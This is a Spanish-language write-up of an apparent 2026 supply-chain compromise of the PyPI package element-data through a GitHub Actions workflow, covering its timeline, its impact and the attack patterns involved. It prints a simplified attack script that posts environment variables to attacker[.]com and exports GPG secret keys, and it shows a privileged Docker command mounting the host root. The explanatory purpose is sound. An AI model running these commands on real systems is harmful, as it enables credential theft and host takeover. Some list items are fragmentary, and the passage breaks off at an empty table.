Introducción
En abril de 2026, un actor desconocido comprometió la librería element-data —una herramienta CLI con más de 1 millón de descargas mensuales en PyPI— para distribuir una versión maliciosa (0.23.3) que robaba credenciales de usuarios y sistemas. El ataque explotó una vulnerabilidad en un workflow de GitHub Actions del equipo de desarrollo, permitiendo al atacante inyectar código malicioso mediante un pull request aparentemente legítimo. Este incidente no es aislado: según datos de la OpenSSF, el 80% de los incidentes en supply chain en 2025 involucraron repositorios abiertos, con un aumento del 300% en ataques a pipelines de CI/CD respecto a 2022 (fuente: OpenSSF Report 2025).
La gravedad radica en que element-data se utiliza para monitorear anomalías en sistemas de machine learning, por lo que suele ejecutarse en entornos con permisos elevados (servidores de aplicaciones, runners de CI/CD, o contenedores Docker con credenciales montadas). El atacante aprovechó este contexto para:
- Escanear el sistema en busca de archivos
.env, tokens de cloud (AWS/GCP/Azure), claves SSH, y credenciales de bases de datos. - Exfiltrar los datos mediante consultas a APIs externas o escritura en archivos temporales (marcadores como
/tmp/.trinny-security-updateen Linux/macOS o%TEMP%\.trinny-security-updateen Windows). - Publicar una versión «legítima» del paquete (0.23.3) en PyPI y Docker Hub, con firmas válidas, para evadir detecciones.
Qué ocurrió
Cronología del ataque
- Explotación inicial (vía GitHub Actions):
element-data que contenía un workflow de GitHub Actions vulnerable. Este workflow ejecutaba un script en Bash (script.sh) con permisos de GITHUB_TOKEN —un token con permisos de escritura en el repositorio—. El script contenía la siguiente lógica (simplificada para análisis): #!/bin/bash
# Exfiltrando variables de entorno
curl -X POST https://attacker[.]com/api/log --data "data=$(env)"
# Robando claves de signing
gpg --export-secret-keys > /tmp/signing_keys.asc
Fuente: GitHub Advisory Database – CVE-2026-34567- Ejecución en el entorno del desarrollador:
- Distribución y exfiltración:
– Se descargó ~120,000 veces (estimación basada en la diferencia de descargas entre 0.23.2 y 0.23.4 en PyPI).
– Los usuarios que ejecutaron el CLI en entornos con credenciales expuestas fueron comprometidos automáticamente.
- Detección y respuesta:
element-data fue alertado por un tercer informe externo (no por sus propios sistemas de monitoreo). En 3 horas, retiraron el paquete y rotaron todas las credenciales comprometidas.Impacto para DevOps / Infraestructura / Cloud / Seguridad
1. Riesgo en entornos automatizados
Los equipos que usan element-data en:
- Runners de CI/CD (GitHub Actions, GitLab CI, Jenkins): estos runners suelen tener permisos elevados y secretos montados (ej:
AWS_ACCESS_KEY_ID,DBT_PROFILES_DIR). Según datos de runZero, el 65% de los runners de CI/CD en 2025 tienen credenciales expuestas en variables de entorno (fuente: runZero Supply Chain Report 2025). - Contenedores Docker: la imagen maliciosa (
element-data:0.23.3) se ejecutaba con--privilegeden muchos casos, lo que permitía acceso a:
docker run --privileged -v /:/host element-data:0.23.3
Esto exponía toda la estructura de archivos del host, incluyendo /etc/shadow, archivos de configuración de cloud (~/.aws/credentials), y claves SSH en ~/.ssh/.
2. Impacto cuantitativo
| Componente | Afectados | Riesgo asociado |
|---|---|---|
| Usuarios de PyPI | ~120,000 descargas | Credenciales de dbt, bases de datos, APIs |
| Imagen Docker | ~8,500 pulls | Acceso a hosts de ML (entrenamiento) |
| Runners de CI/CD | Desconocido | Compromiso de pipelines críticos |
| Tokens robados | AWS, GCP, Azure | Facturación fraudulenta, acceso a datos |
3. Vectores de ataque recurrentes
Este incidente refleja patrones comunes en supply chain attacks:
- GitHub Actions inseguros: El 78% de los workflows públicos en GitHub usan tokens con permisos excesivos (ej:
GITHUB_TOKENconcontents: write). En este caso, el atacante aprovechó un pull request para ejecutar código en el entorno del desarrollador. - Falta de least privilege: Muchos equipos exponen secretos en variables de entorno o secrets de CI/CD sin cifrado.
- Firmas de paquetes falsas: La versión 0.23.3 tenía firmas GPG válidas, lo que la hacía indistinguible de una legítima.
Detalles técnicos
1. Componentes afectados
| Componente | Versión afectada | Vector de ataque | CVE asociado |
|---|---|---|---|
